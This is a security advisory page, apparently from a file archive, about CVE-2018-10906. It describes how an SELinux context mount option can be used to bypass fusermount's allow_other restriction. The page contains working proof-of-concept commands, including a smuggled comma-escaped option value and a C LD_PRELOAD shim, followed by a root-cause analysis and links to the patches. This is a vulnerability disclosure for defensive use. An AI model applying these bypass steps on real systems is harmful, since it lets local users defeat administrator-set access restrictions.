what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fusermount Restriction Bypass

fusermount Restriction Bypass
Posted Jul 30, 2018
Authored by Jann Horn, Google Security Research

It is possible to bypass fusermount's restrictions on the use of the "allow_other" mount option as follows if SELinux is active.

tags | exploit
advisories | CVE-2018-10906
SHA-256 | f8811f70025a2c7cb736546cf68f180165bf220f896460ba119cccb6e37d586c

fusermount Restriction Bypass

Change Mirror Download
fusermount user_allow_other restriction bypass and SELinux label control 

CVE-2018-10906


It is possible to bypass fusermount's restrictions on the use of the
"allow_other" mount option as follows if SELinux is active.

Here's a minimal demo, tested on a Debian system with SELinux enabled in
permissive mode:

===============================================
uuser@debian:~$ mount|grep /mount
user@debian:~$ grep user_allow_other /etc/fuse.conf
#user_allow_other
user@debian:~$ _FUSE_COMMFD=10000 fusermount -o allow_other mount/
fusermount: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf
user@debian:~$ _FUSE_COMMFD=10000 fusermount -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-\,allow_other' mount
sending file descriptor: Bad file descriptor
user@debian:~$ mount|grep /mount
/dev/fuse on /home/user/mount type fuse (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)
===============================================

Here's a demo that actually mounts a real FUSE filesystem with allow_other,
again on a Debian system configured to use SELinux:
===============================================
user@debian:~$ cat fuse-shim.c
#define _GNU_SOURCE
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int execv(const char *path, char *const argv_[]) {
char **argv = (void*)argv_; /* cast away const */
for (char **argvp = argv; *argvp != NULL; argvp++) {
char *arg = *argvp;
for (char *p = arg; *p; p++) {
if (*p == '#') *p = '\\';
}
}
int (*execv_real)(const char *, char *const argv[]) = dlsym(RTLD_NEXT, "execv");
execv_real(path, argv_);
}
user@debian:~$ gcc -shared -o fuse-shim.so fuse-shim.c -ldl
user@debian:~$ echo hello world > hello.txt
user@debian:~$ zip hello.zip hello.txt
adding: hello.txt (stored 0%)
user@debian:~$ LD_PRELOAD=./fuse-shim.so fuse-zip -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-#,allow_other' hello.zip mount
user@debian:~$ mount|grep /mount
fuse-zip on /home/user/mount type fuse.fuse-zip (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)
user@debian:~$ sudo bash
root@debian:/home/user# ls -laZ mount
total 5
drwxrwxr-x. 3 root root system_u:object_r:fusefs_t:s0-s0:c0 0 Jul 18 02:19 .
drwxr-xr-x. 30 user user system_u:object_r:unlabeled_t:s0 4096 Jul 18 02:19 ..
-rw-r--r--. 1 user user system_u:object_r:fusefs_t:s0-s0:c0 12 Jul 18 02:19 hello.txt
root@debian:/home/user# cat mount/hello.txt
hello world
===============================================


I have tested that this also works on Fedora (which, unlike Debian, has SELinux
enabled by default.)


Unfortunately, I only noticed that this was possible after I publicly sent some
fusermount hardening patches (<a href="https://github.com/libfuse/libfuse/pull/268" title="" class="" rel="nofollow">https://github.com/libfuse/libfuse/pull/268</a>),
when the maintainer asked a question about one of the patches.


Breaking down the attack, the problems are:

1. fusermount's do_mount() is written as if backslashes escape commas in mount
options; however, this is only true for the "fsname" and "subtype"
pseudo-options filtered out by do_mount(). Neither SELinux nor the FUSE
filesystem follow those semantics. This means that an attacker can smuggle
a forbidden option through fusermount's checks if the previous option ends
with a backslash. However, no option accepted by the FUSE filesystem can end
with a backslash, so this seemed unexploitable at first.
This is fixed by the following commit in my pull request:
<a href="https://github.com/libfuse/libfuse/pull/268/commits/455e73588357" title="" class="" rel="nofollow">https://github.com/libfuse/libfuse/pull/268/commits/455e73588357</a>
2. fusermount uses a blacklist, not a whitelist; this blacklist does not contain
the mount options understood by the SELinux and Smack LSMs. LSMs have the
opportunity to grab mount options and make them invisible to the actual
filesystem through the security_sb_copy_data() security hook.
For this attack, I'm using the "context" option.
This is fixed by the following commit in my pull request:
<a href="https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4" title="" class="" rel="nofollow">https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4</a>
3. The SELinux LSM is slightly lax about parsing the level component of SELinux
context strings when the policy uses Multi-Level Security (MLS).
When using MLS, the format of a context string is
"<user>:<role>:<type>:<level>"; the level component is parsed by
mls_context_to_sid(). The level component is supposed to specify a
sensitivity range (one or two parts delimited with '-'); each part of the
range may be followed by ':' and a category set specification.
If the sensitivity range consists of two parts and the second part of the
range is followed by a category set, the function incorrectly marks a
trailing '-' and any following data until ':' or '\0' as consumed, but does
not actually parse this data. This allows an attacker to smuggle a backslash
through.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close